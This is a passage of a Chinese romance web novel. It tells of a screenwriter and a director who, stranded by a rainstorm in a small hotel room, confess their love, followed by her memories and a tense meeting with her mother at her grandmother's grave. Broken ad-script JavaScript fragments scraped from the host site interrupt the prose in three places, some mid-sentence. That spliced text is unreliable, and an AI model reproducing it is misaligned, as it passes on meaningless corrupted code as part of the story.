大家上山是爬山,下山一般会在山顶坐滑道,很好玩,小时候宜夏每次放假都缠着外婆带自己来玩。 两人赶到滑道的售票处,天色风云突变,下起了大雨。 七八月份的天气多变,暴雨来得又快又急,大滴的雨点打在人裸露的皮肤上,又重又疼。 排队的游客们都被大雨淋湿了,纷纷找地方躲雨。售票厅旁边已经挤满了躲雨的游客,售票员探出头来说下雨滑道不能开放让大家离开,所有人抱怨声连天。 宜夏戴了草帽,但草帽不挡雨,亚麻材质的裙子很快从里到外湿透了,湿哒哒一拧就能出一大把水。 雨一直不停,宜夏抹开手机屏幕上的水渍,看了眼天气预报。暴雨很快会停,但后面的中雨小雨要一直下到晚上。 趁雨势小了一点儿,两个人冒雨离开了躲雨的小亭往山下走,到半山腰找到了一家景区酒店。 两个人都淋得浑身湿透,只想赶紧找个地方洗个热水澡换身干衣服。 宜夏去前台办入住,前台小姐姐说:“已经没有房间了,下山的人太多了,房间都住满了。” 宜夏头发湿淋淋往下滴着水,她拧了一把,恳求:“一间都没有了吗?” 前台小姐姐再看了一遍系统:“哦有,有一间。刚刚一个客人退的。你要吗?” 宜夏赶紧说要,把身份证推过去。 小姐姐登记完,把房卡递给她:“给你,单人间,2302,上楼左拐。” 宜夏睁大眼睛,扯了下谈雪昼的手臂,看向小姐姐:“不是,我们是两个人啊。” 小姐姐笑眯眯:“两个人不正好吗?” 宜夏脸一红,悄悄看了谈雪昼一眼。 谈雪昼抽过房卡,表情自然:“谢谢。”他顺手拉过宜夏的手腕,“走了。” 这家酒店甚至不能叫做酒店。 叫招待所比较合适。 没有电梯,两个人爬楼梯上三楼。开门前,宜夏突然捂住门锁,镇定说:“这回是客观条件限制住一间……” 你待会儿不能说我觊觎你。 谈雪昼懒得跟她辩论:“开门,赶紧洗澡。” 宜夏挪开手,他把门刷开。 两个人站在门口朝房间里望,饶是有心理准备,都被这单人间的狭窄程度惊了一瞬。最多十多平,摆了一张一米五的床之后,就没有余地放其他家具了,只在床一侧摆了一张墨绿色的皮质软沙发,另一侧则是盏落地台灯。 宜夏咽了下口水,若无其事踏进门。 她裙子全湿了。幸好房间里有浴袍能换,也顾不上干净不干净了,赶紧冲了个澡换上浴袍,坐在床头给手机充电。 浴室里不一会儿又传来哗啦啦的水声。 宜夏不自觉朝那里瞟。 磨砂的玻璃,只能看清一个影影绰绰的轮廓,看不清动作。 她忽然想刚刚谈雪昼是不是也这么看浴室里的她,想到这里,她耳根不自觉烫了起来,连忙低头心不在焉翻手机。 谈雪昼也很快从浴室里出来。 光着脚踩在地毯上,低头擦头发,眉眼倦怠散淡。 宜夏咳嗽一声:“我刚刚问了客房服务,他们不帮忙买干衣服,不过待会儿能送个烘干机过来,让我们自己把衣服烘干。” 谈雪昼略略点头。 宜夏站起来,把半掩的窗帘拉得更开。 这个房间虽然狭窄,但风景不错,窗外是大片的山毛榉和黄槿树。雨一直没停,乌云黑压压地滴着水,每一片树叶上都落了雨珠,每一滴雨珠都折射着透亮的光芒。 宜夏不自在说:“雨可能一下子不会停。”她转过头,“我们今晚怎么办?” 谈雪昼擦头发的动作停了。 宜夏温吞说:“就一张床……不然我画个三八线,一人一半。” 谈雪昼:“……” 宜夏在他存在感强烈的视线中飞快眨了两下眼睛,没再说话。 气氛有点微妙。 也许是房间太狭窄了,空气里弥漫着让人慌乱的气味。 客房服务很快送来了干衣机,折叠款,需要他们自己安装。 宜夏收拾起自己湿透的裙子,又把谈雪昼搭在旁边的衬衫裤子也收起来,挂进干衣机里。 谈雪昼蹲着研究安装干衣机。 还挺新奇的,不是他用过的烘干机。 下面是吸气进热风的风机,上面用布罩罩住,衣服挂在布罩里面,热风就在布罩里循环烘干。安装起来很简便,谈雪昼没两下就安好了。 宜夏把衣服挂进去,看着自己的裙子和他的衣服裤子紧紧挨在一起,忽然心情有些酸胀。 拉上布罩的拉链,干衣机开始嗡嗡运行起来。 谈雪昼电话忽然响了起来。 房间太狭窄,他走到卫生间接电话。 宜夏坐在床头,低头给薛霓发消息。 【是成是败,在此一举】 薛霓: 【????什么?】 【你要干什么?】 【你要主动出击表白了?】 宜夏没回她,自己开始酝酿情绪。 这场暴雨,真是特别的及时。 竟然让他们困在了同一个小房间里,甚至只有一张床。 这么好的机会,如果不利用起来,那不是白白浪费天赐良机,说出去绝对会被骂怂吧。 已经怂了这么多天了,宜夏只想A上去。 伸头一刀缩头也是一刀。 谈雪昼接完电话回来了,站在门口看了她好一会儿,见她表情一会儿沉重,一会儿雀跃,一会儿忐忑,挑眉问:“你在表演川剧变脸?” 宜夏抬起头,立刻收敛表情,若无其事摁掉手机屏幕,胡乱找了个话题:“刚刚是谁的电话?” 他一怔:“金葵花电影节的组委会。” “啊?干嘛的?” “请我做今年青年单元的主席。他们定好的主席出了点问题,临时要换人。” 宜夏眨着眼睛:“你答应啦?” “嗯。一周后开幕,不过我就挂个名。” 宜夏点点头。 他问:“你想一起去玩吗?” 宜夏一怔:“可是我……但是……” 宜夏之前也是各路电影节常客,总能收到邀请函。可是去年之后,就再也没有参加过任何公开的活动了。 她咳嗽一声,假装不在意:“不想。我要在家写分场剧本,还有好多工作没做。” 谈雪昼:“不想跟我去玩一下?” “不去,没意思。”宜夏定定看着他,“而且,我跟你去玩?我以什么身份去啊?” 谈雪昼没想那么多,点点头随口说:“也是,是我没考虑周全。” 宜夏一下被他堵回去了,瞪着他。 谈雪昼一挑眉:“这么看我干什么?我不是顺着你在说吗?” “没什么。”宜夏拉起被子挡住脸。 半分钟后又跳下床,哗一下拉开干衣机的拉链,从里面拿出裙子挂回衣橱里,弄出乒乒乓乓的大响声。 谈雪昼看着她的背影,勾了勾唇角:“宜夏。” “怎么了?” “其实我今天许愿,跟一个女生有关。” 宜夏动作立刻僵住,顿在原地,过半晌,才若无其事转过头,不感兴趣地随口说:“谁啊?我认识吗?” “你不认识。” 宜夏心情立刻跌落谷底,冷淡说:“那你跟我说什么?” 她回头把烘干机拉好,手扶着架子,片刻后咬着牙争锋相对说:“其实我今天的许愿条,也跟一个男生有关。就是我跟妈祖求的那个男生。我求妈祖让他迷恋我。” “封建迷信。” “宁可信其有,不可信其无。” 谈雪昼很久没说话。 宜夏扭过头,看见他坐在床沿,低头看手机。 湿润的额发搭在眉间,浓眉亮眼,漆黑的桃花眼里情绪浅淡,若无其事问:“妈祖真的能帮你给人下蛊?” 宜夏手上动作停了,想了下,也走过去,在床另一侧坐下,盘着腿撑着下巴看他:“你知道那个男生是谁吗?” “谁?”谈雪昼声音冷淡,“你不是说我不认识吗?” “其实你认识。” “哦?” “挺有名的,也是娱乐圈的。” 谈雪昼抬眼:“你前男友?你不是讨厌他?怎么又变了?” 女人心真是海底针,说变就变。 宜夏说:“不是他,跟他有什么关系啊。跟你职业差不多,也是导演其实,毕竟我们做编剧,遇到合作得好的导演,真的会产生吊桥效应。” 谈雪昼扯了下唇角,语气却冷冰冰的:“我对合作过的编剧就不会有这种感觉。而且,你不要把吊桥效应误以为是喜欢。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那不可能,我又不会分不清喜欢和依赖。”宜夏想了下,继续说,“谈老师,你能不能帮我出一下主意,你们导演一般会喜欢女生怎么追人呢?” 谈雪昼冷冷说:“不帮。” “不要这么冷酷无情。”宜夏坐得离他更近些,几乎凑到他眼前,压低声音,有点黏有点糯的尾音,“你看,我们也算患难与共了。”她低头数,“那次困在山里,下大雨;还有前段时间台风,下大雨;今天也下大雨,我们都待在一起。” 谈雪昼不咸不淡说:“我没有那种帮女生追其他人的爱好。” 宜夏深呼吸。 看着他。 不说话。 房间陷入了一阵微妙的沉默。 只能听见宜夏的呼吸声。 清晰的呼吸声越来越沉重,再不把话说出来,宜夏要被自己憋死。她掐住了手掌,抑制住突然咚咚响个不停的心跳,舔了舔唇瓣,几乎是一个字一个字在往外挤:“那如果不是其他人呢?” 谈雪昼猝然抬头。 宜夏鼓起勇气,看进他的眼睛里,好久,声音有些发抖:“那如果,那个人其实就是你呢?” 谈雪昼表情空白了一瞬。 宜夏这一刻无比恐惧。 害怕他张口拒绝。 太孤注一掷了,两个人就这一个小房间,如果他拒绝,她简直无地自容了,尴尬到要去走廊睡。 他很久没出声,一秒钟能有一整年一样令人煎熬,宜夏梗着脖子,简直是在等待审判,可是他太久不出声了,宜夏忍不住胡乱说:“我……没有我开玩笑的,其实不是你……其实其实是……” 谈雪昼打断:“宜夏。” “……我开个玩笑。” “耍我很好玩?” 宜夏突然委屈起来了,眼眶湿热,泪意上涌,她胡乱用手臂擦了一下,倔强看着他:“不好玩。我就喜欢开玩笑,你又不是第一天认识——” 话音没落,她手臂被人一扯,整个人顿时被拽到了他眼前,跌坐在床边,离他很近。 他的脸孔瞬间在她眼前放大。 宜夏眼睛倏然睁大,脑子混乱空白成一片,鼻尖萦绕着他身上雨打树叶的冷香,简直头晕目眩,磕巴着:“你……” 只能看见他漆黑的眼睛,简直像一汪夏天的深潭,把她彻底吸进某个漩涡,天旋地转。 宜夏僵住了,手脚发软,很久之后才小幅度挣了挣。 他如梦初醒,顿时松开手。 宜夏低着头坐直,手脚也不知道往哪里放,站起来胡乱撩了下头发,声音有些涩:“刚刚我说的你……不用放在心上,那个,我去下洗手——” “……宜夏。” 宜夏依然低着头,脚步顿住。 背后,他的声音格外清晰。 “今天我许的愿,跟你有关。” “哦……哦。”宜夏不敢回过头看他,四肢僵硬,脑子也乱,不知道该说什么。 “看来妈祖确实很灵验。” 宜夏胡乱问:“你许了什么?” “想要你,不要喜欢其他人,来喜欢我吧。” 宜夏猝然转过脸,对上他浓黑的眼睛。 刚刚冷凝的气氛一瞬间融化,春风拂过一片春日的池塘,他眼睛里渐渐染上浅淡的笑意:“因为,我也喜欢你。” 宜夏呆呆看着他,木木地点头,两秒后说:“我去洗个脸。” 只是有点同手同脚,到洗手间的距离就两三步路,差点绊了一跟头。 冲进洗手间关好门,宜夏靠着门努力缓和紧张的情绪。 好一会儿,她迟钝的脑子才反应过来—— 等等,他刚刚说什么? 是,是表白了吗? 是说,也喜欢她,是吗? 没有幻听吧。 应该没有。 不是在做梦吧。 应该不是。 所以……这是,互相表白了,双向的喜欢,是吗? 是吗?! 宜夏整个人不可思议,冷水浇脸洗了好几次,才终于把脸上的热度冷却下来。 应、该、不、是、在、做、梦。 等等。 那,该怎么办? 刚刚为什么要这么没出息落荒而逃啊?现在他在外面,她躲在卫生间里算怎么回事嘛? 宜夏盯着洗手间的镜子,努力搓了一把脸,终于若无其事,淡定地拉开了洗手间的门,走回房间。 刚刚还庆幸这房间狭窄创造共处机会,这会儿她却浑身上下别扭不对劲,感觉要烧起来了。 他的目光一落在她身上,她就感觉自己手脚跟借来马上要还一样,不听使唤。 淡定点。 她在床边坐下,低头滑了两秒手机。 他只是看着她,眼睛含笑,却没出声。 薛霓的消息进来了,是条语音。 宜夏心不在焉的,没过脑子,直接按了外放。 “搞到手没?快点快点,老子要听现场!” “上啊宜夏!把他扒光了直接就地正法!” 宜夏耳根轰然爆红,手忙脚乱地按了静音。 房间里的空气似乎都变得稀薄了不少,宜夏肺里缺氧,甚至不敢抬头看谈雪昼的表情。 他依然没说话,她却能敏感地察觉到他的目光依然落在她身上,就跟滚烫的铁片落在皮肤上一样。 宜夏备受煎熬,捱不住抬头偷瞟他的神色,却被他抓了个正着。 她立刻别过脸。 他笑起来散漫又勾人:“跟你闺蜜聊这么开?” 宜夏闭上眼睛胡言乱语:“不是,刚刚是抖音外放。不是微信。” “打算怎么把我正法?” 宜夏看着他一副笃定从容的样子,突然怒从心头起,恶向胆边生。 装什么? 我好歹还谈过恋爱呢,你一个初恋经验都没有的人,怎么还敢这么装逼?看我不真把你正法了! 她扑过去,上手推了推他肩膀,捏住他下巴,冷笑:“那我花样就多了。毕竟你也知道,我对你垂涎很久了。” 谈雪昼闭了下眼。 浓密的睫毛抖了一下,再睁开,眼睛里全是笑意:“来吧,不要怜惜我这朵娇花。” 43. 春日 宜夏揪住他的衣领,低下眼,目光不受控制地落在他的唇瓣上。 粉色的。 柔软的。 不知道亲起来是什么感觉。 她呼吸一紧,迟疑着没继续下一步动作,却见他睁开了眼。 下一秒,她的眼睛倏然瞪大—— 他一只手掌住了她的后脑勺,唇瓣在她脸颊旁边轻轻擦过。 唇瓣是柔软的、冰凉的、湿润的、温柔的。 很短暂的,几乎只是分秒之间的接触,宜夏耳根却滚烫成一片,脸直接红到了脖子,支吾着说不出话,只能呆呆看着他。 对视之间,呼吸都有些节奏紊乱。 宜夏脑子很乱,一时间想他刚刚是主动亲她了吗?就亲那么一下脸,太矜持了吧,没感觉呀都。为什么不亲嘴啊。但是亲嘴会不会进度太快了,太轻浮了。他嘴唇好柔软,和他给人的印象完全不一样—— 想太多,他看着她变幻莫测的脸色眼神,没忍住笑了起来。 宜夏咬了下唇:“…你、你笑什么啊?” “嗯,笑……”他凝视着她,慢慢凑近。 她顿时像被掐住了后颈命脉的小动物,眼睛瞪得溜圆,嘴不由自主张大。呼吸交缠,两个人都逐渐面红耳赤,门口突然传来敲门声。 宜夏赶紧站起来,整理了一下头发才出去开门。 原来是客房来收干衣机。 谈雪昼跟着起身,把东西拆好折好送出去,随后立刻关上了门,在门口的总控开关摸索了一阵。 宜夏问:“你干嘛?” “怎么没有请勿打扰的开关?” 宜夏:“……” 刚刚迷离的气氛过了,这会儿不好意思继续对视了。然而宜夏还是手脚眼神都不知道往哪里放,只好若无其事坐回床头打开电视。 随手换台,正好换到新闻频道,主持人在说过几天的金葵花电影节即将开幕。 宜夏换台换到电影频道。 电视上的画面她格外熟悉。 电影频道在重播《强制报告》。 宜夏怔了一瞬,好像被兜头浇了一盆冷水,看着屏幕发呆。 - 快到十一点了。 宜夏坐在床头低头看手机,想了想,打开数独游戏来平复情绪,但心神不定什么都算不清楚。谈雪昼看她一秒八个表情,十个假动作,忍俊不禁叫她:“几点睡?” 这有点太超出想象了…… 刚下定决心好好谈恋爱,刚确定了关系,也没这么快要一起睡吧? 宜夏缓缓抱住自己,慢吞吞说:“把衣服拿过来。” 谈雪昼:“?” 他把她的裙子递给她。 宜夏把裙子拉直绞起来,摆在床正中间,正好把两边分割开,然后缩回一边,拍了拍另一边的床铺:“好了。” 谈雪昼:“可以。” 宜夏仰起脸看他。 “担心自己把持不住对我上下其手,提前做好准备是吧。” 怎么她做什么,他都能找出一套歪理来强调她对他的觊觎呢? 又欠又自恋,她怎么会喜欢他这样的人,误会可真是太大了。 宜夏说:“第一,上下其手是指暗中勾结串通作弊,你用错了。你高中语文常识题肯定天天错。第二,我也不会把持不住,不信你就来睡。” 说完她又拍了拍另一侧的床。 谈雪昼眼神不大信任。 宜夏也不知道自己在他心里究竟是怎样一个色中恶魔。 她以后,一定要跟他解释清楚! 都是误会好吗! 她哪有那么饥渴难耐! 宜夏一卷被子:“爱睡不睡,我睡了。谈老师,实在害怕我兽性大发侵犯你的贞洁的话,你可以睡地上。” 谈雪昼忍不住笑了下:“我是在想,你对我这么信任?” 宜夏懵了下,眼睛清澈望着他。 谈雪昼说:“就这么相信我是正人君子?” “那……你难道不是吗?” 明明全都是她比较主动。之前两次,差点亲上,都被他躲开了,这还不够坐怀不乱?都让宜夏怀疑自己是不是哪里被他讨厌了。 最终谈雪昼还是问客房服务要了一床被子,打算在地下凑合一下。 宜夏虽然能理解,但莫名其妙的,有点失落。她拍了拍脸颊,在心里告诫自己,矜持点,不要太莽撞冲动。 因为谈雪昼睡觉不能关灯,一盏床头灯昏暗地亮着。宜夏睡觉不习惯有光线,只好钻进被子里,把眼睛蒙住。 视觉被削弱,听觉变得格外敏感。 房间里,两个人的呼吸声清晰可闻。 宜夏翻来覆去,怎么也睡不着。 也许是因为谈雪昼的存在感太强烈了。 又也许是因为,刚刚确定关系,心潮起伏。 宜夏想,明明……跟舒润谈恋爱确定关系的时候没有这样。 没这么紧张,忐忑,雀跃,激动。 跟舒润关系变好的契机,是她的《江流冬日》获奖。 她出道即巅峰,被许多人恭维为最有灵气才气的新生代编剧。 获奖后去颁奖典礼,不免与许多人应酬,她却对此十分生疏,不懂怎么跟人打交道才不至于被认为是恃才傲物。颁奖典礼上,所有人都带着目的接近她,她竭力伪装平静,装成合格的社会人,直到拿过奖杯匆匆离开颁奖典礼现场,才松了口气。 然后在地下停车场,她撞见了舒润。 舒润追了她很久,可是最近很长一段时间没出现,原因她也不明白。她对男女之间感情上的事,不能说是懵懂,只能说是很难理解和共情,因为高中时的经历,她的自我保护机制非常强,对接近自己的同龄男生更是警惕十足。 舒润没选择在颁奖典礼的现场与她搭话,也没再次提起追求的话头,只是匆匆来地下停车场,追上她,给她送了一束花,别的话也没有多说。 那时宜夏却能从他满头汗水、匆忙的脚步和词不达意的言语表达中,突然体会到,他也许是真心的。 他送她的那束花是橙玫瑰和向日葵,令她想起了一段很重要的回忆。 ——高考后,她经历了很不好的事情,度过了非常难堪混乱的一段时间,整个人颓废难过失落沮丧,甚至是陷入了自我怀疑的抑郁中。 高考出成绩后,学校举办毕业典礼,她本来不准备去,可是强撑着一口气,想证明自己并没有被打倒。 可是毕业典礼却让她更加难受。 所有人都有家长朋友陪伴,捧着亲友送的花高高兴兴地拍照合影留念。 整个校园,只有她是孤独的一个人,形单影只,也不会有人送她花,不会有人陪她。 她那时候钻了牛角尖,觉得自己很失败,做人失败,甚至,从出生起,就是一个错误,她就不该存在。 正是那时候。 她收到了人生第一束花,正是橙玫瑰和向日葵。 不知道是谁送的。 送她花的人,穿着一身笨拙的玩偶服,是只可爱的企鹅。把花塞给她,拍拍她脑袋,就摇摇晃晃走远了。 宜夏忍住眼泪,追上去问TA是不是送错人了,是真的送给她的吗? 她……她怎么会得到善意呢? 企鹅笨拙地点头,回身抱了她一下。 一束花。 一个拥抱。 来自陌生人的善意。 她感觉到了温暖,手脚回温,她突然想,其实她什么都没有做错,凭什么要觉得自己不配?凭什么,要相信其他人对她的恶意评价? 后来她把那束花做成了干花。 每次看到,都会想起,起码这个世界上有人曾经给她送过花,有人……不讨厌她。 哪怕是个陌生人。 所以,在看到舒润送的那一束一模一样的橙玫瑰和向日葵后,她对舒润突然有了一种强烈真实的好感。 不讲道理,但很真切。 她问过舒润,为什么会定这样的花,舒润却说是觉得她会喜欢。 她真的很喜欢,舒润后来再逐步地接近她,她没有拒绝过。 舒润对她表白,然后,在一起,也是水到渠成的。 只是在一起后,舒润却经常抱怨,觉得她爱他不够他爱她那么多,觉得她对这段感情看得太轻,对他态度太过平静。 甚至亲密接触的时候,她还会浑身僵硬发抖,弄得好像他强迫她一样。 他总是总是说她其实不喜欢他,说她从来不吃醋,从来不忐忑,从来不会无理取闹,哪怕他跟女明星传绯闻,跟其他人炒CP,漫天发通稿,她也从来没有生过气。 他问她,真的在乎过他吗? 她说我挺喜欢你的。 舒润问她,那你喜欢我哪里?她说,你做事很认真,你喜欢电影,品味跟我差不多,你有梦想有追求,长得也挺好看的。舒润却说,真正的喜欢,是说不清楚理由的,你其实对我没那么喜欢。 宜夏很茫然,真的吗?舒润说,如果真的喜欢我,你怎么可能连一个有爱情线的剧本都写不出来呢? 宜夏说这是两回事。 这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 确实是两回事。 她现在也没办法给《清塘山岛日记》加上爱情线,可是突然理解了怎么写一个有感情线的剧本——爱情,无非就是一些慌乱、怯懦、自卑、痛苦,是所有明亮与不明亮的自我的总和,是所有忐忑的心情得见天日的时刻。 宜夏那时候以为自己真的是舒润口中那个对待感情很淡漠的人,以为经过于璟的事,自己已经失去了热忱喜欢一个人的能力。 可是现在。 她发现,好像是因为人不对。 此时此刻,躲在被子里,依然手脚发软,整个人如坠云端,真实绵软的晕眩感。 睡不着。 心潮起伏,无法平静下来。 僵硬在床上躺了很久,她悄悄摸过手机看了一眼,已经是凌晨了。 有些口干舌燥,她爬起来找水喝。 房间里没有饮用水,只能凑合着临时烧一壶。 她轻手轻脚下床,拎着水壶躲进卫生间里烧。 水壶发出咕嘟嘟的声响,心脏好像也被灼热的水蒸气烫过,突然瑟缩一下。她靠着墙壁,盯着水壶,眼睛亮亮的,突然想,这是真正喜欢一个人的感觉吗? 真的。 好奇怪。 水烧开了。 宜夏拎着水壶出了卫生间,找杯子喝了几大口,才再次从另一侧上了床。 她这一番动作,谈雪昼没被吵醒,依然很平静地侧躺在床上。 宜夏却突然很想,凑过去,看看他。 就是看看。 这个人真的属于我了吗? 她发了会儿呆,悄摸摸再次下床,光着脚踩在他铺在地上的被子边上,蹲下来。 房间里灯光不亮,她蹲在他身边,低下头,只能看见他一个侧脸轮廓。很漂亮流畅的线条,像……像什么呢,宜夏觉得他简直像小时候最昂贵最漂亮的洋娃娃长开后的样子。那种进口的娃娃,她背着书包路过商店的橱窗,甚至不敢多看一眼。 她鬼使神差地伸手,想要摸一下他的鼻梁。 手指还没接触到他的皮肤,他忽然睁眼,一把握住她的手腕,眼睛反射着微明的反光。 ……宜夏立刻讪讪收回手,埋下头假装无事发生,撑着床尾要站起来。 谈雪昼拽住她,她一个踉跄,没站起来,干巴巴问:“干嘛?” 谈雪昼问她:“睡不着?不习惯房间里有其他人?” “……也、也没有。”宜夏怎么好意思说自己是突然色心大发? 谈雪昼突然表情严肃地凑近她:“你脸怎么这么红?” 宜夏摸了下脸,茫然。 他用冰凉的手背试了下她额头的温度,又试试自己的额温,蹙眉说:“你发烧了。” 宜夏不信,摸摸自己,皱起眉。 谈雪昼伸手拿过她的杯子:“这个水不干净。我去给你买水,再去问前台要点药。” 宜夏低声说:“好麻烦,都半夜了。我睡一下就好了。” “真的?头不疼?” 宜夏用指节摁着太阳穴:“有点疼。” 她若无其事坐回自己的床头位置,地说:“你帮我按一下。” 谈雪昼在另一侧坐下。 宜夏躺在他大腿上,闭上眼睛。 一双手很轻柔地按着她的额头,按得她有点昏昏欲睡。她试探着,轻轻抓住谈雪昼的手腕,低声说:“我不疼了。你睡吧。” 谈雪昼抽了下手。 宜夏小声说:“就睡床上吧。一人一半。” 地板多硬多冷多难受。 两分钟后,两个人并肩躺在同一张床上。 宜夏这才后知后觉地感觉出了不自在。 她强迫自己闭上眼睛,可是整个人头昏脑涨,怎么也睡不着。心神不定的时候,心里话突然脱口而出。 一室寂静,她的声音很低,格外清晰:“谈雪昼。” “嗯?” 带点鼻音。 “……如果有人骗你了,你会怎么样?” “之前不是问过我?” “我不记得你怎么回答的了。” “你想骗就骗。我除了美好的□□,还有什么你能觊觎的?” 宜夏:“……” 算了。 跟他在这伤春悲秋纯属自作多情。 她把被子一卷,翻了个身准备睡觉。 背后,谈雪昼眼睛睁着,疏疏落落的光线在他脸颊上投下一层分明的阴影。他静静看着宜夏削薄的肩背,眼神温柔平静。 没关系。 全都原谅你。 44. 春日 - 宜夏淋了雨,一场感冒发烧来势汹汹,第二天去退房的时候整个人脸颊烧得跟苹果一样。但问题是她只觉得在发烧,其他也没什么不舒服,头也不疼。 退房的时候,前台小姐姐笑得很有深意,又顺便宣传:“过几天咱们岛上会有烟火大会,很好看的,到时候如果要来看记得要提前订房哦。单人间是不是,有点窄?” 宜夏不自在极了,但表面镇定:“还行,毕竟我很瘦。” 谈雪昼等在一旁,趁她们说话扫了付款码。 也许是在外面宜夏能够勉力支撑,回到家却很快病倒。 只好怏怏去诊所打点滴。 谈雪昼陪她去诊所打卡,打了三天点滴,病终于好齐全了。晚上一起回家,宜夏想了想,有些难以启齿地问谈雪昼,明天要不要跟她去一个地方。 “什么地方?” 宜夏犹豫片刻:“……明天是我外婆的生日。我想去看她。” 谈雪昼一怔。 宜夏低着头,借着月光往前走,慢吞吞说:“你可能,也知道我的情况。我不知道我爸爸是谁,我妈妈已经再婚了,有了自己的新家庭,也有了一个女儿。我是我外婆养大的……她去年去世了。” 谈雪昼声音很轻:“我知道。” 宜夏扭头看他,表情有些不安,抿了下唇。 其实她的成长环境算不上健康,所以,她的性格也算不上健全。在他面前,莫名有一种自卑感。 谈雪昼抬手揉乱她的头发:“那你可能也知道我的情况。我呢虽然知道我爸是谁,但跟他几乎没有过联系。我妈呢,私生活我不方便评价。我也是我外公带大的……宜夏,我们还挺配的,是不是?” 宜夏眼眸涌上热意,别过脸笑:“谁跟你配了?” “外婆喜欢什么花?明天第一次见面,我要给外婆留个好印象。” 第二天岛上下了点小雨。 两个人撑着伞冒雨去了墓园。 清塘岛唯一的小墓园离居民聚居的小镇中心有几公里路程,不算远。 谈雪昼带了一束外婆喜欢的百合花,宜夏捧了一束白玫瑰。 到了墓园,宜夏把花放在外婆的墓碑前,蹲下,仔细擦了擦墓碑上沾的泥土。 谈雪昼跟外婆打了个招呼,知道她有话要跟外婆说,主动走开了。 宜夏凝视着墓碑上的刻字和外婆苍白温柔的笑脸,眼眶湿热。 小时候,宜月心视她为拖油瓶,把她丢给外婆一走了之,好几年对她们不闻不问。 外婆上学不多,在岛上找不到谋生的工作,带着宜夏去了江流给人做家政。外婆人利索,爱干净,又勤快,很快就做到了豪宅的家政,赚的钱比普通家政多一点儿。 但豪宅雇主难伺候,外婆要带着宜夏住人家佣人房里,不是很方便。后来又发生了点意外,宜夏被雇主家里的孩子欺负推倒,摔得脑震荡了,有半年都懵懵懂懂的,跟摔傻了一样。外婆就不继续做家政了,只好在餐馆里打点零工。她带着宜夏,一直生活得很拮据。 直到宜夏高中的时候,能写点故事投稿给杂志了,生活才宽裕一点儿。宜夏攒了五百块钱的稿费,才第一次鼓起勇气,走进全市最有名最豪华的商场海晏天宇,在那里的银饰专柜,给外婆买了一根手镯。 那时候她才知道,原来海晏天宇的银子,一克也只要十八块。 她可以负担得起这个世界。 快快长大,快快赚钱,不要再做任何人的负担。 想起外婆惊喜地接过她买的手镯,一边爱不释手,一边又抱怨她浪费钱,不如去买点吃的长长身体。 想起外婆的脸、她的眼睛、她的皱纹,她的笑,宜夏忍不住又红了眼眶。 想起她成年了,写了剧本,赚了剧本费,拿了奖,外婆总是不厌其烦地看她写的电影,一遍一遍放光碟,遇见人,就含蓄矜持地说,这个电影是我家阿宜写的。 可是外婆却是在她背负了无数黑料跌入低谷的时候去世的。 去世前,都没放下过心。 想起这些,宜夏情绪就有些承受不住。 她擦了把眼泪,下意识回头看了谈雪昼一眼。 他站在不远处,安静凝视着她,神情松弛温柔。 宜夏迅速回过头,眨掉泪水,默默看向墓碑上的脸孔,在心里说,外婆你放心,我会越来越好的。 我会越来越好的。 谈雪昼走到了她身后。宜夏再深深看了墓碑一眼,拽着谈雪昼的手臂站了起来。 一转头,一道不该出现在这里的身影出现在了视野中。 ——捧着一束白百合的宜月心,从远处缓缓走过来。 她看见了墓碑前的宜夏,顿在原地,片刻后疾步朝她走来。 宜夏一时之间,不知道该做什么表情,下意识转头看了眼谈雪昼,嘴唇动了动。 宜月心已经走到了他们面前,眼神却没落在宜夏身上,而是紧紧锁在谈雪昼脸上,声线并不平静:“宜夏,这是……?” 宜夏悄悄睨了谈雪昼一眼,抽回牵着的手。 再怎么说,宜月心也是她的妈妈。 谈雪昼这算是……突然见了家长? 不知道谈雪昼是什么感觉,宜夏反正是有些无措:“是……是我,男朋友。” 谈雪昼顺势说:“阿姨。我叫谈雪昼。” 宜月心嘴唇有些发抖,语气有些恍惚:“你……你好,我是宜夏的,妈妈。” 宜夏敏感地察觉到, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宜月心表情不太对劲。 但不知道原因。 宜夏已经扫完墓送完花,犹豫了下:“那,我们先回去了?妈,你自己跟外婆多待一会儿?” “等等!”宜月心把花放在外婆墓前,深呼吸,转头看她:“小夏,……妈妈想跟你单独说一会儿话,可以吗?” 宜夏咬了下唇瓣,跟着妈妈走去了几道台阶之上。 宜月心表情越见恍惚,频频回头看站在原地的谈雪昼,压低了声音问:“小夏,你谈恋爱了?” 宜夏脸颊一红,好一会儿才轻轻“嗯”了声。 “跟……跟谈、跟他?” 宜夏抬眼:“怎么了?” “你知道……知道他家里是什么情况吗?你知道,他姓谈吗?” 宜夏有点茫然,想了下,慢吞吞说:“我知道他家里条件很好,但他不是那种,注重阶级门第的人。” “你到底知不知道他家里是……”宜月心话说到一半,咽了回去,放柔了声音,“你们谈恋爱,多久了?” “没多久,才……刚刚确定关系。” 宜月心回头望了站在原地的谈雪昼一眼,再回头,看向宜夏,郑重说:“才在一起就好。这是在你外婆墓前,妈妈不会害你,你不能跟他在一起。” 宜夏有些迷惑:“为什么?” “没有为什么。” “如果是因为他家世太好,齐大非偶……但他不是那种看中家世的人,我有信心我们可以走下去的。因为他人很好很好。”宜夏看着宜月心的眼睛,也很郑重,“除此之外,我想不到其他原因了。妈,你一直没有管过我,现在我跟谁谈恋爱,其实……说白了,跟你也没有什么关系。” “不!如果是他,怎么会跟我没关系?!” “……什么?” 宜月心紧紧盯着宜夏,张了张口。 宜夏等待了片刻,没等到她的回答,平静解释:“妈,我跟谁谈恋爱,是我自己的事。就算我日后会受伤,会分手,会难过,那也是我自己的经历,你不用替我操心。” 宜月心摇头:“不是,宜夏,不是这个原因……你们就是不能在一起。” 宜夏彻底没有笑容了,表情变得冷淡:“如果没有什么别的事,妈,我们没必要多聊了。你多留一会儿,陪陪外婆吧,毕竟,你很多年没回来看她。” 说完,宜夏转身往回走,很快走到谈雪昼身边。 宜月心僵站在原地,看着两个年轻人相偕离去的背影,陷入了强烈的虚无和茫然。 ……怎么。 怎么会这样。 我的女儿。 怎么会和她的儿子在一起? 这不可能。 这实在是……太荒谬了。 45. 春日 从墓园回到民宿,谈雪昼有个会要开,把自己关在了二楼书房里。 宜夏在客厅忙着改剧本,突然接到了宜月心的电话。 